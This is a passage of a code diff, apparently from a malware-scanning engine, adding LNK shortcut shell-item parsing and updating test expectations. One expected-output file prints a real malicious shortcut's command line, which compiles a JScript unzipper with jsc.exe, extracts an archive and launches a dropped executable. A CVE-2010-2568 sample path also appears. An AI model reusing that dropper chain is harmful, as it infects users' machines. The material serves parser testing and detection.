Microsoft [MS-SHLLINK] specification (sections 2.2 and 2.2.2). + /// However, MS-SHLLINK explicitly leaves the internal layout of each + /// `ItemID`'s `Data` field undefined: it states that the data "is defined + /// by the source that corresponds to the location in the target namespace" + /// (i.e. by the shell folder / namespace extension that produced it), and + /// Microsoft does not publish a specification for those structures. + /// + /// The class type indicator values dispatched on below (0x00 control panel + /// CPL file, 0x1E/0x1F root folder, 0x20-0x2F volume, 0x30-0x3F file entry, + /// 0x40-0x4F network location), the `& 0x70` masking, and the per-type + /// field offsets therefore come from the community's reverse-engineered + /// documentation of the shell item format, primarily [libfwsi] by Joachim + /// Metz. They are decoded on a best-effort basis. + /// + /// [MS-SHLLINK]: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943 + /// [libfwsi]: https://github.com/libyal/libfwsi/blob/main/documentation/Windows%20Shell%20Item%20format.asciidoc + fn parse_shell_item(&mut self, data: &[u8]) { + let class = match data.first() { + Some(class) => *class, + None => return, + }; + + let mut item = ShellItem::new(); + item.data = Some(data.get(1..).unwrap_or_default().to_vec()); + + item.item_type = Some( + Self::classify_shell_item(class) + .map(EnumOrUnknown::new) + .unwrap_or_else(|| EnumOrUnknown::from_i32(class as i32)), + ); + + match class { + // Control panel CPL file shell item. Contains the path to the CPL + // file, which is the payload abused by CVE-2010-2568. + 0x00 => { + item.cpl_file_path = Self::parse_cpl_file_path(data); + } + // Root folder shell item, carries a shell folder GUID. + 0x1E | 0x1F => { + item.root_folder_id = Self::parse_shell_guid(data); + } + _ => match class & 0x70 { + // Volume shell item. When the "has name" flag (0x01) is set it + // carries a volume name, otherwise a volume identifier (GUID). + 0x20 => { + if class & 0x01 != 0 { + item.volume_name = data + .get(1..21) + .map(|s| Self::parse_shell_string(s, false)); + } else { + item.volume_id = Self::parse_shell_guid(data); + } + } + // File entry shell item, carries the file or directory name. + 0x30 => { + let unicode = class & 0x04 != 0; + item.file_entry_name = data + .get(12..) + .map(|s| Self::parse_shell_string(s, unicode)); + } + // Network location shell item, carries a UNC path. + 0x40 => { + item.network_location = data + .get(3..) + .map(|s| Self::parse_shell_string(s, false)); + } + _ => {} + }, + } + + self.result.target_id_list.push(item); + } + + /// Parses the CPL file path of a control panel CPL file shell item. + fn parse_cpl_file_path(data: &[u8]) -> Option { + // The strings can be stored either in ASCII or UTF-16. They are told + // apart by inspecting byte 10: in the UTF-16 layout the strings start + // at offset 22 and byte 10 is the null high byte of a character, while + // in the ASCII layout the string starts at offset 10. + let unicode = *data.get(10)? == 0x00; + if unicode { + data.get(22..).map(|s| Self::parse_shell_string(s, true)) + } else { + data.get(10..).map(|s| Self::parse_shell_string(s, false)) + } + } + + /// Parses a shell folder GUID located right after the class type + /// indicator and its sort index / flags byte (offset 2, 16 bytes). + fn parse_shell_guid(data: &[u8]) -> Option { + data.get(2..18) + .and_then(|s| Uuid::from_slice_le(s).ok()) + .map(|uuid| uuid.to_string()) + } + + /// Parses a null-terminated string in either ASCII or UTF-16 encoding. + fn parse_shell_string(input: &[u8], unicode: bool) -> String { + if unicode { + Self::parse_utf16_string(input).map(|(_, s)| s).unwrap_or_default() + } else { + Self::parse_string(input).map(|(_, s)| s).unwrap_or_default() } } @@ -570,8 +735,9 @@ impl LnkParser { /// For details see: /// https://stackoverflow.com/questions/6161776/convert-windows-filetime-to-second-in-unix-linux #[inline] -fn filetime_to_unix_timestamp(filetime: u64) -> Option { - (filetime / 10000000).checked_sub(11644473600) +fn filetime_to_unix_timestamp(filetime: u64) -> Option { + // The result is at most u64::MAX / 10000000, which fits in an i64. + (filetime / 10000000).checked_sub(11644473600).map(|t| t as i64) } #[cfg(test)] @@ -582,7 +748,10 @@ mod tests { fn test_filetime_to_unix_timestamp() { assert_eq!(filetime_to_unix_timestamp(0), None); assert_eq!(filetime_to_unix_timestamp(116444736000000000), Some(0)); - assert_eq!(filetime_to_unix_timestamp(116444736000000000 + 10000000), Some(1)); + assert_eq!( + filetime_to_unix_timestamp(116444736000000000 + 10000000), + Some(1) + ); } #[test] diff --git a/lib/src/modules/lnk/tests/testdata/lnk-cve-2010-2568.in.zip b/lib/src/modules/lnk/tests/testdata/lnk-cve-2010-2568.in.zip new file mode 100644 index 000000000..c493d7d55 Binary files /dev/null and b/lib/src/modules/lnk/tests/testdata/lnk-cve-2010-2568.in.zip differ diff --git a/lib/src/modules/lnk/tests/testdata/lnk-cve-2010-2568.out b/lib/src/modules/lnk/tests/testdata/lnk-cve-2010-2568.out new file mode 100644 index 000000000..fe8aa97a8 --- /dev/null +++ b/lib/src/modules/lnk/tests/testdata/lnk-cve-2010-2568.out @@ -0,0 +1,15 @@ +is_lnk: true +file_size: 0 +file_attributes: 0 +icon_index: 0 +show_command: NORMAL +target_id_list: + - item_type: ROOT_FOLDER + data: "P\xe0O\xd0 \xea:i\x10\xa2\xd8\x08\x00+00\x9d" + root_folder_id: "20d04fe0-3aea-1069-a2d8-08002b30309d" + - item_type: VOLUME + data: "\x00 \xec!\xea:i\x10\xa2\xdd\x08\x00+00\x9d" + volume_id: "21ec2020-3aea-1069-a2dd-08002b30309d" + - item_type: CONTROL_PANEL_CPL + data: "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00j\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00\\\x00\\\x00.\x00\\\x00S\x00T\x00O\x00R\x00A\x00G\x00E\x00#\x00V\x00o\x00l\x00u\x00m\x00e\x00#\x00_\x00?\x00?\x00_\x00U\x00S\x00B\x00S\x00T\x00O\x00R\x00#\x00D\x00i\x00s\x00k\x00&\x00V\x00e\x00n\x00_\x00G\x00e\x00n\x00e\x00r\x00i\x00c\x00&\x00P\x00r\x00o\x00d\x00_\x00F\x00l\x00a\x00s\x00h\x00_\x00D\x00i\x00s\x00k\x00&\x00R\x00e\x00v\x00_\x008\x00.\x000\x007\x00#\x003\x000\x00B\x005\x004\x000\x000\x007\x00D\x006\x00D\x004\x00&\x000\x00#\x00{\x005\x003\x00f\x005\x006\x003\x000\x007\x00-\x00b\x006\x00b\x00f\x00-\x001\x001\x00d\x000\x00-\x009\x004\x00f\x002\x00-\x000\x000\x00a\x000\x00c\x009\x001\x00e\x00f\x00b\x008\x00b\x00}\x00#\x00{\x005\x003\x00f\x005\x006\x003\x000\x00d\x00-\x00b\x006\x00b\x00f\x00-\x001\x001\x00d\x000\x00-\x009\x004\x00f\x002\x00-\x000\x000\x00a\x000\x00c\x009\x001\x00e\x00f\x00b\x008\x00b\x00}\x00\\\x00R\x00E\x00C\x00Y\x00C\x00L\x00E\x00D\x00\\\x00~\x00m\x00s\x00d\x00b\x00l\x001\x002\x007\x000\x00.\x00t\x00m\x00p\x00\x00\x00" + cpl_file_path: "\\\\.\\STORAGE#Volume#_??_USBSTOR#Disk&Ven_Generic&Prod_Flash_Disk&Rev_8.07#30B54007D6D4&0#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\RECYCLED\\~msdbl1270.tmp" \ No newline at end of file diff --git a/lib/src/modules/lnk/tests/testdata/lnk-extradata-1.out b/lib/src/modules/lnk/tests/testdata/lnk-extradata-1.out index 352d67871..40eb5a1bb 100644 --- a/lib/src/modules/lnk/tests/testdata/lnk-extradata-1.out +++ b/lib/src/modules/lnk/tests/testdata/lnk-extradata-1.out @@ -20,4 +20,26 @@ tracker_data: droid_volume_id: "946c1150-d061-40dd-8497-a97bde7709e9" droid_file_id: "91b95d1e-5979-11db-afb8-00123f2cd1e5" droid_birth_volume_id: "946c1150-d061-40dd-8497-a97bde7709e9" - droid_birth_file_id: "91b95d1e-5979-11db-afb8-00123f2cd1e5" \ No newline at end of file + droid_birth_file_id: "91b95d1e-5979-11db-afb8-00123f2cd1e5" +target_id_list: + - item_type: ROOT_FOLDER + data: "P\xe0O\xd0 \xea:i\x10\xa2\xd8\x08\x00+00\x9d" + root_folder_id: "20d04fe0-3aea-1069-a2d8-08002b30309d" + - item_type: VOLUME + data: "C:\\\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + volume_name: "C:\\" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x00\x00L5\x0c\xaf\x10\x00WINDOWS\x00&\x00\x03\x00\x04\x00\xef\xbe\xb64\x02\x89L5\x0c\xaf\x14\x00\x00\x00W\x00I\x00N\x00D\x00O\x00W\x00S\x00\x00\x00\x16\x00" + file_entry_name: "WINDOWS" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x00\x00L5\x10\xaf\x10\x00syswow64\x00\x00(\x00\x03\x00\x04\x00\xef\xbeL5\x0b\xafL5\x10\xaf\x14\x00\x00\x00s\x00y\x00s\x00w\x00o\x00w\x006\x004\x00\x00\x00\x18\x00" + file_entry_name: "syswow64" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x00\x00L5\x14\xaf\x10\x00WINDOW~1\x00\x00:\x00\x03\x00\x04\x00\xef\xbeL5\x0e\xafL5\x14\xaf\x14\x00\x00\x00w\x00i\x00n\x00d\x00o\x00w\x00s\x00p\x00o\x00w\x00e\x00r\x00s\x00h\x00e\x00l\x00l\x00\x00\x00\x18\x00" + file_entry_name: "WINDOW~1" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x00\x00L5\x19\xaf\x10\x00v1.0\x00\x00 \x00\x03\x00\x04\x00\xef\xbeL5\x11\xafL5\x19\xaf\x14\x00\x00\x00v\x001\x00.\x000\x00\x00\x00\x14\x00" + file_entry_name: "v1.0" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x00\x00L5\x17\xaf \x00POWERS~1.EXE\x00\x004\x00\x03\x00\x04\x00\xef\xbeL5\x17\xafL5\x17\xaf\x14\x00\x00\x00p\x00o\x00w\x00e\x00r\x00s\x00h\x00e\x00l\x00l\x00.\x00e\x00x\x00e\x00\x00\x00\x1c\x00" + file_entry_name: "POWERS~1.EXE" \ No newline at end of file diff --git a/lib/src/modules/lnk/tests/testdata/lnk-extradata-2.out b/lib/src/modules/lnk/tests/testdata/lnk-extradata-2.out index b3bdc2a05..903ad0918 100644 --- a/lib/src/modules/lnk/tests/testdata/lnk-extradata-2.out +++ b/lib/src/modules/lnk/tests/testdata/lnk-extradata-2.out @@ -21,4 +21,20 @@ tracker_data: droid_volume_id: "0a92d8cc-364f-44f6-a343-7ce76b0c19f5" droid_file_id: "29a5ca2d-fae8-11de-a706-0016e6d383ac" droid_birth_volume_id: "0a92d8cc-364f-44f6-a343-7ce76b0c19f5" - droid_birth_file_id: "29a5ca2d-fae8-11de-a706-0016e6d383ac" \ No newline at end of file + droid_birth_file_id: "29a5ca2d-fae8-11de-a706-0016e6d383ac" +target_id_list: + - item_type: ROOT_FOLDER + data: "P\xe0O\xd0 \xea:i\x10\xa2\xd8\x08\x00+00\x9d" + root_folder_id: "20d04fe0-3aea-1069-a2d8-08002b30309d" + - item_type: VOLUME + data: "C:\\\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + volume_name: "C:\\" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x00\x00\"<\tx\x11\x00PROGRA~1\x00\x00l\x00\x07\x00\x04\x00\xef\xbeb5QZ$\x00\x07\x00\x04\x00\xef\xbe&<\xb7\x8c&<\xb7\x8c&\x00\x00\x00\xb6\xb9\x00\x00\x00\x00\xb2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x00e\x00a\x00z\x00i\x00p\x00.\x00e\x00x\x00e\x00\x00\x00\x1a\x00" + file_entry_name: "peazip.exe" \ No newline at end of file diff --git a/lib/src/modules/lnk/tests/testdata/lnk-malformed-1.out b/lib/src/modules/lnk/tests/testdata/lnk-malformed-1.out index f5d675214..a5cc41243 100644 --- a/lib/src/modules/lnk/tests/testdata/lnk-malformed-1.out +++ b/lib/src/modules/lnk/tests/testdata/lnk-malformed-1.out @@ -18,4 +18,17 @@ tracker_data: droid_volume_id: "94c77840-fa47-46c7-b356-5c2dc6b6d115" droid_file_id: "7bcd46ec-7f22-11dd-9499-00137216874a" droid_birth_volume_id: "94c77840-fa47-46c7-b356-5c2dc6b6d115" - droid_birth_file_id: "7bcd46ec-7f22-11dd-9499-00137216874a" \ No newline at end of file + droid_birth_file_id: "7bcd46ec-7f22-11dd-9499-00137216874a" +target_id_list: + - item_type: ROOT_FOLDER + data: "P\xe0O\xd0 \xea:i\x10\xa2\xd8\x08\x00+00\x9d" + root_folder_id: "20d04fe0-3aea-1069-a2d8-08002b30309d" + - item_type: VOLUME + data: "C:\\\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + volume_name: "C:\\" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x00\x00,9i\xa3\x10\x00test\x00\x002\x00\x07\x00\x04\x00\xef\xbe,9e\xa3,9i\xa3&\x00\x00\x00\x03\x1e\x00\x00\x00\x00\xf5\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00t\x00e\x00s\x00t\x00\x00\x00\x14\x00" + file_entry_name: "test" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x00\x00,9i\xa3 \x00a.txt\x004\x00\x07\x00\x04\x00\xef\xbe,9i\xa3,9i\xa3&\x00\x00\x00-n\x00\x00\x00\x00\x96\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00a\x00.\x00t\x00x\x00t\x00\x00\x00\x14\x00" + file_entry_name: "a.txt" \ No newline at end of file diff --git a/lib/src/modules/lnk/tests/testdata/lnk-malformed-2.out b/lib/src/modules/lnk/tests/testdata/lnk-malformed-2.out index 75962f365..7c20c2501 100644 --- a/lib/src/modules/lnk/tests/testdata/lnk-malformed-2.out +++ b/lib/src/modules/lnk/tests/testdata/lnk-malformed-2.out @@ -8,4 +8,20 @@ icon_location: "C:\\Windows\\System32\\shell32.dll" icon_index: 1 show_command: MIN_NO_ACTIVE working_dir: "C:\\Windows\\System32 " -cmd_line_args: "/c \"set PATH=%windir%\\system32;%PATH% & (for /R \"%USERPROFILE%\" %f in (dokazatelstva.zip) do @IF EXIST %f (chcp 65001 | echo | set /p=\"import System;import System.IO;import System.IO.Compression;import System.Text;import System.Diagnostics;function Main(){var args:String[]=System.Environment.GetCommandLineArgs();Directory.CreateDirectory(args[2]);System.IO.Compression.ZipFile.ExtractToDirectory(args[1], args[2]);System.IO.Compression.ZipFile.ExtractToDirectory(args[2] + \"\\\\\" + (Convert.ToChar(100)+Convert.ToChar(99)+Convert.ToChar(118)+Convert.ToChar(46)+Convert.ToChar(105)+Convert.ToChar(110)+Convert.ToChar(105)), args[2]);Process.Start(\"cmd.exe\", \"/C move \" + System.Reflection.Assembly.GetExecutingAssembly().Location + \" \" + System.Reflection.Assembly.GetExecutingAssembly().Location + \"_\");}Main();\">%TEMP%\\6DZX1ZJTGBDJ.a & for /f %j in (\'dir /b /s /a:-d /o:-n \"%SystemRoot%\\Microsoft.Net\\Framework\\*jsc.exe\"\') do @set \"_jsc=%j\" & for /L %i in (1,1,3) do @if exist \"%USERPROFILE%\\DXTGYWVO2MU7\\Y3IEFP0NC4.exe\" (^st^art \"\" /MIN \"%USERPROFILE%\\DXTGYWVO2MU7\\Y3IEFP0NC4.exe\" & exit) else (@if exist %TEMP%\\unzip.exe (%TEMP%\\unzip.exe \"%f\" \"%USERPROFILE%\\DXTGYWVO2MU7\") else (@if not exist %TEMP%\\unzip.exe_ (@if not exist %TEMP%\\unzip.exe (C:\\Windows\\system32\\forfiles.exe /P %SystemRoot% /M notepad.exe /C \"cmd /c %_jsc% /nologo /r:System.IO.Compression.FileSystem.dll /out:%TEMP%\\unzip.exe %TEMP%\\6DZX1ZJTGBDJ.a\")))) ))\"" \ No newline at end of file +cmd_line_args: "/c \"set PATH=%windir%\\system32;%PATH% & (for /R \"%USERPROFILE%\" %f in (dokazatelstva.zip) do @IF EXIST %f (chcp 65001 | echo | set /p=\"import System;import System.IO;import System.IO.Compression;import System.Text;import System.Diagnostics;function Main(){var args:String[]=System.Environment.GetCommandLineArgs();Directory.CreateDirectory(args[2]);System.IO.Compression.ZipFile.ExtractToDirectory(args[1], args[2]);System.IO.Compression.ZipFile.ExtractToDirectory(args[2] + \"\\\\\" + (Convert.ToChar(100)+Convert.ToChar(99)+Convert.ToChar(118)+Convert.ToChar(46)+Convert.ToChar(105)+Convert.ToChar(110)+Convert.ToChar(105)), args[2]);Process.Start(\"cmd.exe\", \"/C move \" + System.Reflection.Assembly.GetExecutingAssembly().Location + \" \" + System.Reflection.Assembly.GetExecutingAssembly().Location + \"_\");}Main();\">%TEMP%\\6DZX1ZJTGBDJ.a & for /f %j in (\'dir /b /s /a:-d /o:-n \"%SystemRoot%\\Microsoft.Net\\Framework\\*jsc.exe\"\') do @set \"_jsc=%j\" & for /L %i in (1,1,3) do @if exist \"%USERPROFILE%\\DXTGYWVO2MU7\\Y3IEFP0NC4.exe\" (^st^art \"\" /MIN \"%USERPROFILE%\\DXTGYWVO2MU7\\Y3IEFP0NC4.exe\" & exit) else (@if exist %TEMP%\\unzip.exe (%TEMP%\\unzip.exe \"%f\" \"%USERPROFILE%\\DXTGYWVO2MU7\") else (@if not exist %TEMP%\\unzip.exe_ (@if not exist %TEMP%\\unzip.exe (C:\\Windows\\system32\\forfiles.exe /P %SystemRoot% /M notepad.exe /C \"cmd /c %_jsc% /nologo /r:System.IO.Compression.FileSystem.dll /out:%TEMP%\\unzip.exe %TEMP%\\6DZX1ZJTGBDJ.a\")))) ))\"" +target_id_list: + - item_type: ROOT_FOLDER + data: "P\xe0O\xd0 \xea:i\x10\xa2\xd8\x08\x00+00\x9d" + root_folder_id: "20d04fe0-3aea-1069-a2d8-08002b30309d" + - item_type: VOLUME + data: "C:\\\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + volume_name: "C:\\" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x10\x00\x10\x10\x10\x00\x10\x00W\x00i\x00n\x00d\x00o\x00w\x00s\x00\x00\x00" + file_entry_name: "Windows" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x10\x00\x10\x10\x10\x00\x10\x00S\x00y\x00s\x00t\x00e\x00m\x003\x002\x00\x00\x00" + file_entry_name: "System32" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x10\x00\x10\x10\x10\x00\x00\x00c\x00m\x00d\x00.\x00e\x00x\x00e\x00\x00\x00" + file_entry_name: "cmd.exe" \ No newline at end of file diff --git a/lib/src/modules/lnk/tests/testdata/lnk-network.out b/lib/src/modules/lnk/tests/testdata/lnk-network.out index 0c34357ec..27e062c73 100644 --- a/lib/src/modules/lnk/tests/testdata/lnk-network.out +++ b/lib/src/modules/lnk/tests/testdata/lnk-network.out @@ -16,4 +16,14 @@ tracker_data: droid_volume_id: "d3575624-759e-423c-a55c-8b4ff424e1bc" droid_file_id: "9626757f-e43a-11ec-9776-0cdd24239e8a" droid_birth_volume_id: "d3575624-759e-423c-a55c-8b4ff424e1bc" - droid_birth_file_id: "9626757f-e43a-11ec-9776-0cdd24239e8a" \ No newline at end of file + droid_birth_file_id: "9626757f-e43a-11ec-9776-0cdd24239e8a" +target_id_list: + - item_type: ROOT_FOLDER + data: "P\xe0O\xd0 \xea:i\x10\xa2\xd8\x08\x00+00\x9d" + root_folder_id: "20d04fe0-3aea-1069-a2d8-08002b30309d" + - item_type: VOLUME + data: "Z:\\\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + volume_name: "Z:\\" + - item_type: FILE_ENTRY + data: "\x00\x00l\x00\x00\x87O8I \x00calc.exe\x00\x00B\x00\t\x00\x04\x00\xef\xbe\xc5T1N\xc5T1N.\x00\x00\x00\x9cM\x01\x00\x00\x00\xb4\x00\x00\x00\x00\x00x\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x13P\x00c\x00a\x00l\x00c\x00.\x00e\x00x\x00e\x00\x00\x00\x18\x00" + file_entry_name: "calc.exe" \ No newline at end of file diff --git a/lib/src/modules/lnk/tests/testdata/lnk-overlay.out b/lib/src/modules/lnk/tests/testdata/lnk-overlay.out index 0e37af471..1d076ecb3 100644 --- a/lib/src/modules/lnk/tests/testdata/lnk-overlay.out +++ b/lib/src/modules/lnk/tests/testdata/lnk-overlay.out @@ -20,4 +20,17 @@ tracker_data: droid_volume_id: "94c77840-fa47-46c7-b356-5c2dc6b6d115" droid_file_id: "7bcd46ec-7f22-11dd-9499-00137216874a" droid_birth_volume_id: "94c77840-fa47-46c7-b356-5c2dc6b6d115" - droid_birth_file_id: "7bcd46ec-7f22-11dd-9499-00137216874a" \ No newline at end of file + droid_birth_file_id: "7bcd46ec-7f22-11dd-9499-00137216874a" +target_id_list: + - item_type: ROOT_FOLDER + data: "P\xe0O\xd0 \xea:i\x10\xa2\xd8\x08\x00+00\x9d" + root_folder_id: "20d04fe0-3aea-1069-a2d8-08002b30309d" + - item_type: VOLUME + data: "C:\\\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + volume_name: "C:\\" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x00\x00,9i\xa3\x10\x00test\x00\x002\x00\x07\x00\x04\x00\xef\xbe,9e\xa3,9i\xa3&\x00\x00\x00\x03\x1e\x00\x00\x00\x00\xf5\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00t\x00e\x00s\x00t\x00\x00\x00\x14\x00" + file_entry_name: "test" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x00\x00,9i\xa3 \x00a.txt\x004\x00\x07\x00\x04\x00\xef\xbe,9i\xa3,9i\xa3&\x00\x00\x00-n\x00\x00\x00\x00\x96\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00a\x00.\x00t\x00x\x00t\x00\x00\x00\x14\x00" + file_entry_name: "a.txt" \ No newline at end of file diff --git a/lib/src/modules/lnk/tests/testdata/lnk-standard.out b/lib/src/modules/lnk/tests/testdata/lnk-standard.out index bf9e08b98..f0a7ccb4b 100644 --- a/lib/src/modules/lnk/tests/testdata/lnk-standard.out +++ b/lib/src/modules/lnk/tests/testdata/lnk-standard.out @@ -19,4 +19,17 @@ tracker_data: droid_volume_id: "94c77840-fa47-46c7-b356-5c2dc6b6d115" droid_file_id: "7bcd46ec-7f22-11dd-9499-00137216874a" droid_birth_volume_id: "94c77840-fa47-46c7-b356-5c2dc6b6d115" - droid_birth_file_id: "7bcd46ec-7f22-11dd-9499-00137216874a" \ No newline at end of file + droid_birth_file_id: "7bcd46ec-7f22-11dd-9499-00137216874a" +target_id_list: + - item_type: ROOT_FOLDER + data: "P\xe0O\xd0 \xea:i\x10\xa2\xd8\x08\x00+00\x9d" + root_folder_id: "20d04fe0-3aea-1069-a2d8-08002b30309d" + - item_type: VOLUME + data: "C:\\\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + volume_name: "C:\\" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x00\x00,9i\xa3\x10\x00test\x00\x002\x00\x07\x00\x04\x00\xef\xbe,9e\xa3,9i\xa3&\x00\x00\x00\x03\x1e\x00\x00\x00\x00\xf5\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00t\x00e\x00s\x00t\x00\x00\x00\x14\x00" + file_entry_name: "test" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x00\x00,9i\xa3 \x00a.txt\x004\x00\x07\x00\x04\x00\xef\xbe,9i\xa3,9i\xa3&\x00\x00\x00-n\x00\x00\x00\x00\x96\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00a\x00.\x00t\x00x\x00t\x00\x00\x00\x14\x00" + file_entry_name: "a.txt" \ No newline at end of file diff --git a/lib/src/modules/lnk/tests/testdata/lnk-unknown-item.in.zip b/lib/src/modules/lnk/tests/testdata/lnk-unknown-item.in.zip new file mode 100644 index 000000000..c1a70fcb4 Binary files /dev/null and b/lib/src/modules/lnk/tests/testdata/lnk-unknown-item.in.zip differ diff --git a/lib/src/modules/lnk/tests/testdata/lnk-unknown-item.out b/lib/src/modules/lnk/tests/testdata/lnk-unknown-item.out new file mode 100644 index 000000000..bde6b61d8 --- /dev/null +++ b/lib/src/modules/lnk/tests/testdata/lnk-unknown-item.out @@ -0,0 +1,37 @@ +is_lnk: true +creation_time: 1221251237 +access_time: 1221251237 +write_time: 1221251237 +file_size: 0 +file_attributes: 32 +icon_index: 0 +show_command: NORMAL +drive_type: FIXED +drive_serial_number: 813337217 +volume_label: "" +local_base_path: "C:\\test\\a.txt" +relative_path: ".\\a.txt" +working_dir: "C:\\test" +overlay_size: 0 +tracker_data: + version: 0 + machine_id: "chris-xps" + droid_volume_id: "94c77840-fa47-46c7-b356-5c2dc6b6d115" + droid_file_id: "7bcd46ec-7f22-11dd-9499-00137216874a" + droid_birth_volume_id: "94c77840-fa47-46c7-b356-5c2dc6b6d115" + droid_birth_file_id: "7bcd46ec-7f22-11dd-9499-00137216874a" +target_id_list: + - item_type: ROOT_FOLDER + data: "P\xe0O\xd0 \xea:i\x10\xa2\xd8\x08\x00+00\x9d" + root_folder_id: "20d04fe0-3aea-1069-a2d8-08002b30309d" + - item_type: VOLUME + data: "C:\\\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + volume_name: "C:\\" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x00\x00,9i\xa3\x10\x00test\x00\x002\x00\x07\x00\x04\x00\xef\xbe,9e\xa3,9i\xa3&\x00\x00\x00\x03\x1e\x00\x00\x00\x00\xf5\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00t\x00e\x00s\x00t\x00\x00\x00\x14\x00" + file_entry_name: "test" + - item_type: FILE_ENTRY + data: "\x00\x00\x00\x00\x00,9i\xa3 \x00a.txt\x004\x00\x07\x00\x04\x00\xef\xbe,9i\xa3,9i\xa3&\x00\x00\x00-n\x00\x00\x00\x00\x96\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00a\x00.\x00t\x00x\x00t\x00\x00\x00\x14\x00" + file_entry_name: "a.txt" + - item_type: 0x88 + data: "\xaa\xbb\xcc" \ No newline at end of file diff --git a/lib/src/modules/macho/mod.rs b/lib/src/modules/macho/mod.rs index cd3b8c23f..13b23f535 100644 --- a/lib/src/modules/macho/mod.rs +++ b/lib/src/modules/macho/mod.rs @@ -139,7 +139,7 @@ fn ep_for_arch_type(ctx: &mut ScanContext, type_arg: i64) -> Option { { let file_offset = arch.offset?; let entry_point = macho.file.get(i)?.entry_point?; - return file_offset.checked_add(entry_point).map(|sum| sum as i64); + return file_offset.checked_add(entry_point); } } @@ -183,7 +183,7 @@ fn ep_for_arch_subtype( { let file_offset = arch.offset?; let entry_point = macho.file.get(i)?.entry_point?; - return file_offset.checked_add(entry_point).map(|sum| sum as i64); + return file_offset.checked_add(entry_point); } } @@ -367,7 +367,7 @@ fn dylib_hash(ctx: &mut ScanContext) -> Option>> { md5_hash.update(dylibs_to_hash.as_bytes()); - let digest = format!("{:x}", md5_hash.finalize()); + let digest = hex::encode(md5_hash.finalize()); DYLIB_MD5_CACHE.with(|cache| { *cache.borrow_mut() = Some(digest.clone()); @@ -418,7 +418,7 @@ fn entitlement_hash( md5_hash.update(entitlements_str.as_bytes()); - let digest = format!("{:x}", md5_hash.finalize()); + let digest = hex::encode(md5_hash.finalize()); ENTITLEMENT_MD5_CACHE.with(|cache| { *cache.borrow_mut() = Some(digest.clone()); @@ -469,7 +469,7 @@ fn export_hash( md5_hash.update(exports_str.as_bytes()); - let digest = format!("{:x}", md5_hash.finalize()); + let digest = hex::encode(md5_hash.finalize()); EXPORT_MD5_CACHE.with(|cache| { *cache.borrow_mut() = Some(digest.clone()); @@ -520,7 +520,7 @@ fn import_hash( md5_hash.update(imports_str.as_bytes()); - let digest = format!("{:x}", md5_hash.finalize()); + let digest = hex::encode(md5_hash.finalize()); IMPORT_MD5_CACHE.with(|cache| { *cache.borrow_mut() = Some(digest.clone()); @@ -584,7 +584,7 @@ fn symhash(ctx: &mut ScanContext) -> Option>> { md5_hash.update(symtab_hash_entries); - let digest = format!("{:x}", md5_hash.finalize()); + let digest = hex::encode(md5_hash.finalize()); SYM_MD5_CACHE.with(|cache| { *cache.borrow_mut() = Some(digest.clone()); diff --git a/lib/src/modules/macho/parser.rs b/lib/src/modules/macho/parser.rs index 5447a2948..cd9b7cb63 100644 --- a/lib/src/modules/macho/parser.rs +++ b/lib/src/modules/macho/parser.rs @@ -249,7 +249,7 @@ impl<'a> MachO<'a> { Ok(macho) => files.push(macho), #[cfg(feature = "logging")] Err(err) => { - error!("Error parsing Mach-O file: {:?}", err); + error!("Error parsing Mach-O file: {}", err); } #[cfg(not(feature = "logging"))] Err(_) => {} @@ -347,7 +347,7 @@ impl<'a> MachO<'a> { Ok((c, _)) => commands = c, Err(err) => { #[cfg(feature = "logging")] - error!("Error parsing Mach-O file: {:?}", err); + error!("Error parsing Mach-O file: {}", err); // Break the loop when the end of file has been reached. // With other types of errors we keep trying to parse more // commands as one individual command structure could be @@ -377,7 +377,7 @@ impl<'a> MachO<'a> { macho.parse_symtab(string_table, symbol_table, nsyms) { #[cfg(feature = "logging")] - error!("Error parsing Mach-O file: {:?}", _err); + error!("Error parsing Mach-O file: {}", _err); // fail silently if it fails, data was not formatted // correctly but parsing should still proceed for // everything else @@ -396,7 +396,7 @@ impl<'a> MachO<'a> { && let Err(_err) = 